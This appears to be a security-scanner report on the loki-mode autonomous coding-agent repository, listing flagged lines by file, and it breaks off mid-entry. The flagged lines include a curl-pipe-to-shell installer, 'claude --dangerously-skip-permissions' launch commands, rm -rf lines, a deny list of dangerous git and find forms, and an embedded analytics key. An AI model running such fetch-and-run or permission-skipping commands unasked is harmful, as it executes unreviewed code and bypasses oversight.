    package-manager-cache: false  # setup-node v5+ caches npm automatically; a cache an issue-triggered job can write must never reach a job holding secrets           node-version: '22'           registry-url: 'https://registry.npmjs.org'
  • Network accessline 285
    registry-url: 'https://registry.npmjs.org'
  • Access to secretsline 312
    [Credential-related source omitted]
  • Network accessline 473
    class LokiMode < Formula             desc "Autonomous coding agent platform CLI for Claude Code and opencode"             homepage "https://github.com/asklokesh/loki-mode"
  • Network accessline 474
    desc "Autonomous coding agent platform CLI for Claude Code and opencode"             homepage "https://github.com/asklokesh/loki-mode"             url "https://github.com/asklokesh/loki-mode/releases/download/vVERSION_PLACEHOLDER/loki-mode-
  • Network accessline 475
    homepage "https://github.com/asklokesh/loki-mode"             url "https://github.com/asklokesh/loki-mode/releases/download/vVERSION_PLACEHOLDER/loki-mode-VERSION_PLACEHOLDER.tar.gz"             sha256 "SHA256_PLACEHOLDER"
  • Network accessline 476
    url "https://github.com/asklokesh/loki-mode/releases/download/vVERSION_PLACEHOLDER/loki-mode-VERSION_PLACEHOLDER.tar.gz"
  • Network accessline 518
    SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK_URL }}           VERSION_FOR_SLACK: v${{ needs.release.outputs.version }}           RELEASE_URL_FOR_SLACK: https://github.com/asklokesh/loki-mode/releases/tag/v${{ needs.release.outputs.version }
  • Network accessline 519
    VERSION_FOR_SLACK: v${{ needs.release.outputs.version }}           RELEASE_URL_FOR_SLACK: https://github.com/asklokesh/loki-mode/releases/tag/v${{ needs.release.outputs.version }}         run: |
  • Network accessline 520
    RELEASE_URL_FOR_SLACK: https://github.com/asklokesh/loki-mode/releases/tag/v${{ needs.release.outputs.version }}
  • Access to secretsline 531
    [Credential-related source omitted]
  • Access to secretsline 532
    [Credential-related source omitted]
  • Network accessline 535
    changelog = changelog[:1500] + '...'           ask = ('*Ready for website update.* Reply in this thread:\n>`@Claude update the autonomi.dev blog for Loki Mode '                  f'{version}. Read the changelog from https://github.com/asklok
  • Network accessline 536
    ask = ('*Ready for website update.* Reply in this thread:\n>`@Claude update the autonomi.dev blog for Loki Mode '                  f'{version}. Read the changelog from https://github.com/asklokesh/loki-mode/blob/main/CHANGELOG.md for {versi
  • Network accessline 537
    f'{version}. Read the changelog from https://github.com/asklokesh/loki-mode/blob/main/CHANGELOG.md for {version}, '
  • Network accessline 538
    'then update src/data/blog-posts.ts in https://github.com/asklokesh/autonomi-website with a new blog post entry. '
  • Network accessline 547
    json.dump(payload, open(sys.argv[2], 'w'))           PY           curl -s -X POST "$SLACK_WEBHOOK_URL" -H 'Content-type: application/json' -d @"$RUNNER_TEMP/slack-payload.json"
  • Network accessline 548
    PY           curl -s -X POST "$SLACK_WEBHOOK_URL" -H 'Content-type: application/json' -d @"$RUNNER_TEMP/slack-payload.json"           echo "Slack notification sent for ${VERSION_FOR_SLACK}"
  • Network accessline 549
    curl -s -X POST "$SLACK_WEBHOOK_URL" -H 'Content-type: application/json' -d @"$RUNNER_TEMP/slack-payload.json"
  • Network accessline 596
    package-manager-cache: false  # setup-node v5+ caches npm automatically; a cache an issue-triggered job can write must never reach a job holding secrets           node-version: '22'           registry-url: 'https://registry.npmjs.org'
  • Network accessline 598
    registry-url: 'https://registry.npmjs.org'
  • Access to secretsline 603
    [Credential-related source omitted]
  • Network accessline 650
    package-manager-cache: false  # setup-node v5+ caches npm automatically; a cache an issue-triggered job can write must never reach a job holding secrets           node-version: '22'           registry-url: 'https://registry.npmjs.org'
  • Network accessline 652
    registry-url: 'https://registry.npmjs.org'
  • Access to secretsline 670
    [Credential-related source omitted]

.gitignore

  • Access to secretsline 6
    [Credential-related source omitted]
  • Access to secretsline 9
    [Credential-related source omitted]

.gitleaksignore

  • Access to secretsline 119
    [Credential-related source omitted]

CHANGELOG.md

  • Network accessline 5
    The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
  • Network accessline 6
    and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
  • Access to secretsline 81
    [Credential-related source omitted]
  • Access to secretsline 407
    [Credential-related source omitted]
  • Network accessline 674
    - `loki start <github.com PR URL>` now sends the pull request to verify-pr through the installed `bin/loki` (it sealed nothing before: the route classed the URL as a brief and ran engine10). The URL is found at any position (a flag such as 
  • Access to secretsline 826
    [Credential-related source omitted]
  • Access to secretsline 1922
    [Credential-related source omitted]
  • Dangerous shell operationline 1970
    - The control-plane Ask policy deny list is back in step with the reviewer deny list (git `--exec-path`, `--output`, `--ext-diff` and `--no-index` forms, `rg --pre` and `--hostname-bin`, `find -exec` and `-delete` forms). It only adds denia
  • Dangerous shell operationline 2216
    - The v11.17.57 release notes name the queue rm subcommand in prose, so the help and changelog drift guard passes on main again (STAB-1).
  • Dangerous shell operationline 2221
    - `loki start` imports safe_git statically so the moat P9 allowToken caller scan passes again; the L2 destructive git registry scan no longer counts the queue rm subcommand name as a git call (STAB-1).
  • Access to secretsline 2227
    [Credential-related source omitted]
  • Access to secretsline 2244
    [Credential-related source omitted]
  • Network accessline 2727
    ### Fixed - Git token safety: token-carrying git fetch and pull reset repo-local CA, TLS verify and curl resolve settings, and never recurse into submodules, closing paths where a hostile repo could see the token.
  • Network accessline 2728
    - Git token safety: token-carrying git fetch and pull reset repo-local CA, TLS verify and curl resolve settings, and never recurse into submodules, closing paths where a hostile repo could see the token.
  • Access to secretsline 2874
    [Credential-related source omitted]
  • Dangerous shell operationline 2960
    - Bash hook: under the compiled permission policy it cannot widen the policy, and it denies when python3 is missing or the input is malformed. The `rm -rf` safe-path override is checked per segment and refuses `..` and dot-glob path segment
  • Access to secretsline 3115
    [Credential-related source omitted]
  • Access to secretsline 3218
    [Credential-related source omitted]
  • Access to secretsline 3396
    [Credential-related source omitted]
  • Access to secretsline 3421
    [Credential-related source omitted]
  • Access to secretsline 3481
    [Credential-related source omitted]
  • Access to secretsline 3494
    [Credential-related source omitted]
  • Access to secretsline 3626
    [Credential-related source omitted]
  • Access to secretsline 4062
    [Credential-related source omitted]
  • Network accessline 4383
    - fix: snapshot git status ignores repo-local core.fsmonitor. - fix: snapshot git status also blanks filter clean/smudge/process drivers (r2) - fix: snapshot git status passes filter overrides via GIT_CONFIG_KEY/VALUE, no lazy fetch (r3)
  • Network accessline 4384
    - fix: snapshot git status also blanks filter clean/smudge/process drivers (r2) - fix: snapshot git status passes filter overrides via GIT_CONFIG_KEY/VALUE, no lazy fetch (r3) - fix: snapshot git status byte-exact driver lookup, fail closed
  • Network accessline 4385
    - fix: snapshot git status passes filter overrides via GIT_CONFIG_KEY/VALUE, no lazy fetch (r3)
  • Network accessline 4732
    ### Changed - `loki` looks for a working bun on PATH, then the bundled copy (`node_modules/bun/bin/bun.exe`, or the platform package's `bin/bun` when install scripts were skipped), and accepts one only if `bun --version` succeeds within 2 s
  • Network accessline 4733
    - `loki` looks for a working bun on PATH, then the bundled copy (`node_modules/bun/bin/bun.exe`, or the platform package's `bin/bun` when install scripts were skipped), and accepts one only if `bun --version` succeeds within 2 seconds. A bu
  • Access to secretsline 4983
    [Credential-related source omitted]
  • Dangerous shell operationline 5274
    - The web-app status push has a test for unmeasured cost; `v10-ops worktree-budget` prints how many worktrees a batch may open; the guard blocks a glob rm in a shared temp or scratchpad root, relative paths included.
  • Access to secretsline 5373
    [Credential-related source omitted]
  • Dangerous shell operationline 5540
    A failing case is allowed only if it sits in `tests/moat/pending.txt` with the milestone that builds it. That list can only shrink: the runner reads it at every release tag reachable from HEAD and fails on any entry that was not pending at 
  • Access to secretsline 5818
    [Credential-related source omitted]
  • Network accessline 5987
    One bug was found while verifying it: `curl -fsS` exits non-zero on 404, so the fallback discarded the status code and every MISSING package was reported as unchecked. Without catching that, the detector would have been theatre.
  • Access to secretsline 6241
    [Credential-related source omitted]
  • Access to secretsline 6548
    [Credential-related source omitted]
  • Network accessline 6754
    - **A flat `sleep 2` is off the critical path of every build.** The dashboard is polled on the same `/api/status` endpoint the reuse path already trusts and proceeds the moment it serves. The liveness property is preserved rather than trade
  • Dangerous shell operationline 8133
    - `loki resume` could not be used to detect resumable state: `cmd_resume` does `rm -f "$LOKI_DIR/PAUSE"` and emits telemetry. `loki next --dry-run` was verified to write nothing.
  • Network accessline 8147
    1. Node.js is not installed    Install Node.js 18+: brew install node    (macOS)  |  https://nodejs.org
  • Network accessline 8148
    Install Node.js 18+: brew install node    (macOS)  |  https://nodejs.org
  • Access to secretsline 8682
    [Credential-related source omitted]
  • Network accessline 10124
    - git and workspace **block**. A build cannot initialize a repo without git, and cannot record anything if `.loki` is unwritable. - node and the network probe are **advisory**. node is optional -- Python, Go and Rust builds never touch it -
  • Network accessline 10125
    - node and the network probe are **advisory**. node is optional -- Python, Go and Rust builds never touch it -- and a 3s curl probe failing does not prove the provider CLI cannot connect (proxy, VPN, transient DNS all curl-fail while the re

CLAUDE.md

  • Network accessline 1
    # Loki Mode - Claude Code Skill Autonomous spec-to-product system: takes a PRD, GitHub issue, OpenAPI/JSON/YAML doc, or one-line brief to a deployed product via the RARV-C closure loop. Providers: Claude Code (CLI or Anthropic Agent SDK) an
  • Network accessline 2
    Autonomous spec-to-product system: takes a PRD, GitHub issue, OpenAPI/JSON/YAML doc, or one-line brief to a deployed product via the RARV-C closure loop. Providers: Claude Code (CLI or Anthropic Agent SDK) and opencode (any model, including
  • Instruction override signalline 7
    claude --dangerously-skip-permissions   # then invoke "Loki Mode"
  • Dangerous shell operationline 55
    rm -f -- "$marker"
  • Dangerous shell operationline 136
    rm -rf -- "$target"

README.md

  • Network accessline 5
    [![npm version](https://img.shields.io/npm/v/loki-mode?style=for-the-badge&logo=npm&logoColor=white&color=553DE9)](https://www.npmjs.com/package/loki-mode)
  • Network accessline 6
    [![npm downloads](https://img.shields.io/npm/dt/loki-mode?style=for-the-badge&logo=npm&logoColor=white&color=1FC5A8&label=downloads)](https://www.npmjs.com/package/loki-mode)
  • Network accessline 7
    [![Docker Pulls](https://img.shields.io/docker/pulls/asklokesh/loki-mode?style=for-the-badge&logo=docker&logoColor=white&color=2F71E3)](https://hub.docker.com/r/asklokesh/loki-mode)
  • Network accessline 8
    [![License](https://img.shields.io/badge/License-BUSL--1.1-36342E?style=for-the-badge)](LICENSE)
  • Network accessline 10
    [Website](https://www.autonomi.dev/) | [Quickstart](docs/QUICKSTART.md) | [Install guide](docs/INSTALLATION.md) | [User guide](docs/v10/GUIDE.md) | [CLI reference](docs/CLI-CORE-VERBS.md) | [Compare with opencode](docs/COMPARE-OPENCODE.md) 
  • Network accessline 41
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Network accessline 90
    Outcome:    VERIFIED PR:         https://github.com/owner/repo/pull/1
  • Network accessline 91
    PR:         https://github.com/owner/repo/pull/1
  • Access to secretsline 126
    [Credential-related source omitted]
  • Access to secretsline 130
    [Credential-related source omitted]
  • Network accessline 138
    loki control serve       # http://127.0.0.1:47821 (--port N, --db PATH)
  • Access to secretsline 151
    [Credential-related source omitted]
  • Network accessline 179
    git clone https://github.com/asklokesh/loki-mode.git && cd loki-mode
  • Network accessline 189
    Loki Mode is built by [Autonomi](https://www.autonomi.dev/).

SKILL.md

  • Instruction override signalline 238
    # Standard mode (Claude - full features) claude --dangerously-skip-permissions
  • Instruction override signalline 239
    claude --dangerously-skip-permissions
  • Network accessline 245
    loki start ./openapi.yaml                    # SPEC mode: OpenAPI/GraphQL/Postman contract expands to a per-operation checklist (v8.0.0) loki start owner/repo#123                    # ISSUE mode (GitHub specific repo) loki start https://git
  • Network accessline 246
    loki start owner/repo#123                    # ISSUE mode (GitHub specific repo) loki start https://github.com/o/r/issues/42  # ISSUE mode (GitHub URL) loki start 123                               # ISSUE mode (GitHub issue in current repo)
  • Network accessline 247
    loki start https://github.com/o/r/issues/42  # ISSUE mode (GitHub URL)
  • Access to secretsline 255
    [Credential-related source omitted]
  • Access to secretsline 263
    [Credential-related source omitted]
  • Access to secretsline 276
    [Credential-related source omitted]
  • Network accessline 464
    **v11.124.2 | [Autonomi](https://www.autonomi.dev/) flagship product | core skill**

action.yml

  • Instruction override signalline 40
    default: ''   auto_confirm:     description: 'Skip confirmation prompts (auto-enabled in CI environments)'
  • Instruction override signalline 41
    auto_confirm:     description: 'Skip confirmation prompts (auto-enabled in CI environments)'     required: false
  • Instruction override signalline 42
    description: 'Skip confirmation prompts (auto-enabled in CI environments)'
  • Access to secretsline 124
    [Credential-related source omitted]
  • Access to secretsline 125
    [Credential-related source omitted]
  • Access to secretsline 126
    [Credential-related source omitted]
  • Access to secretsline 129
    [Credential-related source omitted]
  • Access to secretsline 137
    [Credential-related source omitted]
  • Access to secretsline 142
    [Credential-related source omitted]
  • Access to secretsline 143
    [Credential-related source omitted]
  • Access to secretsline 145
    [Credential-related source omitted]
  • Access to secretsline 153
    [Credential-related source omitted]
  • Network accessline 412
    echo "## Loki Mode Code Review"           echo ""           echo "Automated review by [loki-mode](https://github.com/asklokesh/loki-mode)"
  • Network accessline 413
    echo ""           echo "Automated review by [loki-mode](https://github.com/asklokesh/loki-mode)"           echo ""
  • Network accessline 414
    echo "Automated review by [loki-mode](https://github.com/asklokesh/loki-mode)"
  • Dangerous shell operationline 457
    rm -rf "${RUNNER_TEMP}/pr-"*.diff "${RUNNER_TEMP}/review-prd-"*.md \

agents/custom_agents.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 31
    [Credential-related source omitted]
  • Access to secretsline 34
    [Credential-related source omitted]

agents/hub_install.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 113
    [Credential-related source omitted]
  • Access to secretsline 118
    [Credential-related source omitted]
  • Access to secretsline 418
    [Credential-related source omitted]
  • Network accessline 446
    raise ManifestError(f"unsupported URL scheme: {parsed.scheme!r}")         try:             req = urllib.request.Request(source, headers={"User-Agent": "loki-hub"})
  • Network accessline 447
    try:             req = urllib.request.Request(source, headers={"User-Agent": "loki-hub"})             with urllib.request.urlopen(req, timeout=60) as resp:  # noqa: S310
  • Network accessline 448
    req = urllib.request.Request(source, headers={"User-Agent": "loki-hub"})
  • Network accessline 449
    with urllib.request.urlopen(req, timeout=60) as resp:  # noqa: S310

agents/managed_registry.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 50
    [Credential-related source omitted]

api/README.md

  • Dangerous shell operationline 25
    curl -fsSL https://deno.land/install.sh | sh
  • Network accessline 25
    curl -fsSL https://deno.land/install.sh | sh
  • Access to secretsline 59
    [Credential-related source omitted]
  • Network accessline 64
    [Credential-related source omitted]
  • Network accessline 65
    [Credential-related source omitted]
  • Access to secretsline 65
    [Credential-related source omitted]
  • Network accessline 151
    curl -X POST http://localhost:57374/api/sessions \
  • Network accessline 159
    const events = new EventSource('http://localhost:57374/api/events');
  • Network accessline 181
    const client = new LokiClient('http://localhost:57374');
  • Network accessline 209
    # Filter by session curl "http://localhost:57374/api/events?sessionId=session_123"
  • Network accessline 210
    curl "http://localhost:57374/api/events?sessionId=session_123"
  • Network accessline 212
    # Filter by event types curl "http://localhost:57374/api/events?types=task:completed,task:failed"
  • Network accessline 213
    curl "http://localhost:57374/api/events?types=task:completed,task:failed"
  • Network accessline 215
    # Filter log level curl "http://localhost:57374/api/events?minLevel=warn"
  • Network accessline 216
    curl "http://localhost:57374/api/events?minLevel=warn"
  • Network accessline 218
    # Replay recent history curl "http://localhost:57374/api/events?history=50"
  • Network accessline 219
    curl "http://localhost:57374/api/events?history=50"

api/client.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    *  * Usage:  *   const client = new LokiClient("http://localhost:8420");
  • Network accessline 7
    * Usage:  *   const client = new LokiClient("http://localhost:8420");  *   const session = await client.startSession({ provider: "claude" });
  • Network accessline 8
    *   const client = new LokiClient("http://localhost:8420");
  • Network accessline 66
    try {       const response = await fetch(`${this.baseUrl}${path}`, {
  • Network accessline 67
    const response = await fetch(`${this.baseUrl}${path}`, {

api/middleware/auth.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 20
    allowLocalhost: true,   apiToken: Deno.env.get("LOKI_API_TOKEN"),   allowedOrigins: ["http://localhost:*", "http://127.0.0.1:*"],
  • Network accessline 21
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]
  • Network accessline 22
    allowedOrigins: ["http://localhost:*", "http://127.0.0.1:*"],

api/middleware/cors.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 98
    // Wildcard pattern (e.g., "http://localhost:*")

api/middleware/error.ts

  • Executable scriptline 1
    Executable file

api/middleware/timing.ts

  • Executable scriptline 1
    Executable file

api/mod.ts

  • Executable scriptline 1
    Executable file

api/openapi.yaml

  • Network accessline 18
    ```javascript     const events = new EventSource('http://localhost:8420/api/events');
  • Network accessline 19
    const events = new EventSource('http://localhost:8420/api/events');
  • Network accessline 25
    contact:     name: Loki Mode     url: https://github.com/asklokesh/loki-mode
  • Network accessline 26
    name: Loki Mode     url: https://github.com/asklokesh/loki-mode   license:
  • Network accessline 27
    url: https://github.com/asklokesh/loki-mode
  • Network accessline 28
    license:     name: MIT     url: https://opensource.org/licenses/MIT
  • Network accessline 30
    url: https://opensource.org/licenses/MIT
  • Network accessline 32
    servers:   - url: http://localhost:8420
  • Network accessline 33
    - url: http://localhost:8420

api/routes/events.ts

  • Executable scriptline 1
    Executable file

api/routes/health.ts

  • Executable scriptline 1
    Executable file

api/routes/learning.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    import * as path from "https://deno.land/std@0.208.0/path/mod.ts";

api/routes/memory.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 86
    const timestamps = this.requests.get(clientId) || [];
  • Network accessline 97
    recentTimestamps.push(now);     this.requests.set(clientId, recentTimestamps);
  • Network accessline 98
    this.requests.set(clientId, recentTimestamps);
  • Network accessline 109
    const now = Date.now();     const windowStart = now - this.windowMs;     for (const [clientId, timestamps] of this.requests.entries()) {
  • Network accessline 110
    const windowStart = now - this.windowMs;     for (const [clientId, timestamps] of this.requests.entries()) {       const recent = timestamps.filter((t) => t > windowStart);
  • Network accessline 111
    for (const [clientId, timestamps] of this.requests.entries()) {
  • Network accessline 112
    const recent = timestamps.filter((t) => t > windowStart);       if (recent.length === 0) {         this.requests.delete(clientId);
  • Network accessline 113
    if (recent.length === 0) {         this.requests.delete(clientId);       } else {
  • Network accessline 114
    this.requests.delete(clientId);
  • Network accessline 115
    } else {         this.requests.set(clientId, recent);       }
  • Network accessline 116
    this.requests.set(clientId, recent);

api/routes/sessions.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 31
    [Credential-related source omitted]

api/routes/tasks.ts

  • Executable scriptline 1
    Executable file

api/server.js

  • Executable scriptline 1
    #!/usr/bin/env node
  • Access to secretsline 45
    [Credential-related source omitted]
  • Network accessline 510
    async function handleRequest(req, res) {   const url = new URL(req.url, `http://${req.headers.host}`);
  • Network accessline 511
    const url = new URL(req.url, `http://${req.headers.host}`);
  • Network accessline 518
    const localhostPattern = /^https?:\/\/(localhost|127\.0\.0\.1)(:\d+)?$/;   const isAllowed = localhostPattern.test(origin);   res.setHeader('Access-Control-Allow-Origin', isAllowed ? origin : 'http://localhost');
  • Network accessline 519
    const isAllowed = localhostPattern.test(origin);   res.setHeader('Access-Control-Allow-Origin', isAllowed ? origin : 'http://localhost');   res.setHeader('Access-Control-Allow-Methods', 'GET, POST, DELETE, OPTIONS');
  • Network accessline 520
    res.setHeader('Access-Control-Allow-Origin', isAllowed ? origin : 'http://localhost');
  • Network accessline 717
    ensureDirectories().then(() => {   server.listen(PORT, HOST, () => {     console.log(`Loki API server running at http://${HOST}:${PORT}`);
  • Network accessline 718
    server.listen(PORT, HOST, () => {     console.log(`Loki API server running at http://${HOST}:${PORT}`);     console.log(`Project directory: ${PROJECT_DIR}`);
  • Network accessline 719
    console.log(`Loki API server running at http://${HOST}:${PORT}`);

api/server.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 427
    console.log(`Server listening on http://${config.host}:${config.port}`);

api/services/cli-bridge.ts

  • Executable scriptline 1
    Executable file

api/services/event-bus.ts

  • Executable scriptline 1
    Executable file

api/services/learning-collector.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 11
    import * as path from "https://deno.land/std@0.208.0/path/mod.ts";

api/services/state-notifications.ts

  • Executable scriptline 1
    Executable file

api/services/state-watcher.ts

  • Executable scriptline 1
    Executable file

api/types/api.ts

  • Executable scriptline 1
    Executable file

api/types/events.ts

  • Executable scriptline 1
    Executable file

api/types/memory.ts

  • Executable scriptline 1
    Executable file

assets/welcome/welcome.html

  • Network accessline 6
    <meta name="theme-color" content="#553DE9">   <title>Welcome to Loki Mode</title>   <link rel="preconnect" href="https://fonts.googleapis.com">
  • Network accessline 7
    <title>Welcome to Loki Mode</title>   <link rel="preconnect" href="https://fonts.googleapis.com">   <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  • Network accessline 8
    <link rel="preconnect" href="https://fonts.googleapis.com">
  • Network accessline 9
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  • Network accessline 10
    <link href="https://fonts.googleapis.com/css2?family=DM+Serif+Display&family=Inter:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet">
  • Network accessline 237
    <div class="cta-row">       <a class="cta primary" href="https://www.autonomi.dev/docs" target="_blank" rel="noopener">Read the docs</a>
  • Network accessline 238
    <a class="cta primary" href="https://www.autonomi.dev/docs" target="_blank" rel="noopener">Read the docs</a>
  • Network accessline 252
    <footer>       Loki Mode by <a href="https://www.autonomi.dev/" target="_blank" rel="noopener">Autonomi</a>.
  • Network accessline 253
    Loki Mode by <a href="https://www.autonomi.dev/" target="_blank" rel="noopener">Autonomi</a>.
  • Network accessline 254
    Questions? <a href="https://www.autonomi.dev/docs" target="_blank" rel="noopener">autonomi.dev/docs</a>
  • Network accessline 259
    (function () {       "use strict";       var POSTHOG_HOST = "https://us.i.posthog.com";
  • Network accessline 260
    "use strict";       var POSTHOG_HOST = "https://us.i.posthog.com";       var POSTHOG_KEY = "phc_ya0vGBru41AJWtGNfZZ8H9W4yjoZy4KON0nnayS7s87";
  • Network accessline 261
    var POSTHOG_HOST = "https://us.i.posthog.com";
  • Access to secretsline 327
    [Credential-related source omitted]
  • Network accessline 345
    fetch(POSTHOG_HOST + "/capture/", {

autonomy/NOTIFY_INTEGRATION.md

  • Network accessline 29
    | Variable | Description | Example | |----------|-------------|---------| | `LOKI_SLACK_WEBHOOK` | Slack incoming webhook URL | `https://hooks.slack.com/services/...` |
  • Network accessline 30
    |----------|-------------|---------| | `LOKI_SLACK_WEBHOOK` | Slack incoming webhook URL | `https://hooks.slack.com/services/...` | | `LOKI_DISCORD_WEBHOOK` | Discord webhook URL | `https://discord.com/api/webhooks/...` |
  • Network accessline 31
    | `LOKI_SLACK_WEBHOOK` | Slack incoming webhook URL | `https://hooks.slack.com/services/...` |
  • Network accessline 32
    | `LOKI_DISCORD_WEBHOOK` | Discord webhook URL | `https://discord.com/api/webhooks/...` |
  • Network accessline 33
    | `LOKI_WEBHOOK_URL` | Custom webhook URL (POST JSON) | `https://your-server.com/loki-webhook` |
  • Access to secretsline 34
    [Credential-related source omitted]
  • Network accessline 70
    curl -s -X POST -H 'Content-type: application/json' \
  • Network accessline 86
    curl -s -X POST -H 'Content-type: application/json' \
  • Access to secretsline 102
    [Credential-related source omitted]
  • Access to secretsline 106
    [Credential-related source omitted]
  • Network accessline 108
    curl -s --connect-timeout 5 --max-time 10 -X POST -H 'Content-type: application/json' \
  • Dangerous shell operationline 200
    rm -f "$loki_dir/PAUSE"
  • Network accessline 240
    # Multi-channel notifications (new)   slack_webhook: YOUR_SLACK_WEBHOOK_URL_HERE   discord_webhook: https://discord.com/api/webhooks/123456789012345678/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
  • Network accessline 241
    slack_webhook: YOUR_SLACK_WEBHOOK_URL_HERE   discord_webhook: https://discord.com/api/webhooks/123456789012345678/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX   webhook_url: https://your-server.com/loki-webhook
  • Network accessline 242
    discord_webhook: https://discord.com/api/webhooks/123456789012345678/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
  • Network accessline 243
    webhook_url: https://your-server.com/loki-webhook
  • Network accessline 264
    # Set up webhook (example with Slack) export LOKI_SLACK_WEBHOOK="https://hooks.slack.com/services/..."
  • Network accessline 265
    export LOKI_SLACK_WEBHOOK="https://hooks.slack.com/services/..."

autonomy/README.md

  • Network accessline 70
    | Prerequisite | Required | Notes | |--------------|----------|-------| | Claude Code CLI | Yes | Install from https://claude.ai/code |
  • Network accessline 71
    |--------------|----------|-------| | Claude Code CLI | Yes | Install from https://claude.ai/code | | Python 3 | Yes | For state management |
  • Network accessline 72
    | Claude Code CLI | Yes | Install from https://claude.ai/code |
  • Network accessline 73
    | Python 3 | Yes | For state management | | Git | Yes | For version control | | curl | Yes | For web fetches |
  • Network accessline 74
    | Git | Yes | For version control | | curl | Yes | For web fetches | | Node.js | No | Needed for some builds |
  • Network accessline 75
    | curl | Yes | For web fetches |
  • Instruction override signalline 162
    | Feature | Manual Mode | Autonomy Mode | |---------|-------------|---------------| | Start | `claude --dangerously-skip-permissions` | `./autonomy/run.sh` |
  • Instruction override signalline 163
    |---------|-------------|---------------| | Start | `claude --dangerously-skip-permissions` | `./autonomy/run.sh` | | Prereq check | Manual | Automatic |
  • Instruction override signalline 164
    | Start | `claude --dangerously-skip-permissions` | `./autonomy/run.sh` |
  • Network accessline 175
    npm install -g @anthropic-ai/claude-code # or visit https://claude.ai/code
  • Network accessline 176
    # or visit https://claude.ai/code

autonomy/acp-agent.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 62
    [Credential-related source omitted]

autonomy/api-server.js

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 238
    async function handleRequest(req, res) {     const url = new URL(req.url, `http://localhost:${PORT}`);
  • Network accessline 239
    const url = new URL(req.url, `http://localhost:${PORT}`);
  • Network accessline 531
    server.listen(PORT, () => {     console.log(`Loki Mode API v${getVersion()}`);     console.log(`Listening on http://localhost:${PORT}`);
  • Network accessline 532
    console.log(`Loki Mode API v${getVersion()}`);     console.log(`Listening on http://localhost:${PORT}`);     console.log('');
  • Network accessline 533
    console.log(`Listening on http://localhost:${PORT}`);

autonomy/app-runner.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 179
    mv "$_fp_tmp" "$_APP_RUNNER_DIR/first-preview.json" 2>/dev/null || rm -f "$_fp_tmp"
  • Dangerous shell operationline 222
    printf '%s\n' "$tok" > "$tmp_file" 2>/dev/null &&              mv "$tmp_file" "$_APP_RUNNER_DIR/app.token" 2>/dev/null ||              rm -f "$tmp_file" 2>/dev/null
  • Dangerous shell operationline 224
    rm -f "$tmp_file" 2>/dev/null
  • Dangerous shell operationline 226
    rm -f "$_APP_RUNNER_DIR/app.token" 2>/dev/null
  • Network accessline 398
    if command -v curl >/dev/null 2>&1 && \
  • Network accessline 399
    curl -sf -o /dev/null -m 2 "http://localhost:${_APP_RUNNER_PORT}/" 2>/dev/null; then
  • Network accessline 447
    # after the real serving URL; committing that would clobber a correct         # recorded port and point the preview at a dead port. We deliberately do         # NOT use curl -f: any HTTP response (including 404/401/500) proves a
  • Network accessline 448
    # recorded port and point the preview at a dead port. We deliberately do         # NOT use curl -f: any HTTP response (including 404/401/500) proves a         # server is bound and serving on that port (Spring Boot whitelabel 404,
  • Network accessline 449
    # NOT use curl -f: any HTTP response (including 404/401/500) proves a
  • Network accessline 450
    # server is bound and serving on that port (Spring Boot whitelabel 404,         # REST-only roots, and auth-gated "/" all return non-2xx but ARE live).         # A dead/unbound port produces a connection error, which curl reports as
  • Network accessline 451
    # REST-only roots, and auth-gated "/" all return non-2xx but ARE live).         # A dead/unbound port produces a connection error, which curl reports as         # a non-zero exit even without -f. If curl is unavailable we cannot
  • Network accessline 452
    # A dead/unbound port produces a connection error, which curl reports as
  • Network accessline 453
    # a non-zero exit even without -f. If curl is unavailable we cannot
  • Network accessline 456
    if command -v curl >/dev/null 2>&1; then
  • Network accessline 457
    if ! curl -s -o /dev/null -m 2 "http://localhost:${real_port}/" 2>/dev/null; then
  • Network accessline 462
    log_info "App Runner: reconciled port $_APP_RUNNER_PORT -> $real_port (from app.log listen line)"         _APP_RUNNER_PORT="$real_port"         _APP_RUNNER_URL="http://localhost:${real_port}"
  • Network accessline 463
    _APP_RUNNER_PORT="$real_port"         _APP_RUNNER_URL="http://localhost:${real_port}"         _rewrite_detection_port
  • Network accessline 464
    _APP_RUNNER_URL="http://localhost:${real_port}"
  • Network accessline 477
    # such as a DB connection string ("Connecting to database on port 5432") or an # outbound URL does not win. Note: a metrics endpoint line like # "Prometheus metrics server listening on http://0.0.0.0:9464" DOES carry
  • Network accessline 478
    # outbound URL does not win. Note: a metrics endpoint line like # "Prometheus metrics server listening on http://0.0.0.0:9464" DOES carry # serving keywords ("server"/"listening") and so can still be returned here; the
  • Network accessline 479
    # "Prometheus metrics server listening on http://0.0.0.0:9464" DOES carry
  • Network accessline 498
    # 1) Explicit URL with a port: http://host:PORT  (most reliable).
  • Network accessline 649
    #     well-known ports like 80/443/8080, because some unrelated local service #     answering there is its own form of fabrication. #   - Liveness uses the same contract as _app_runner_reconcile_port (curl -s
  • Network accessline 650
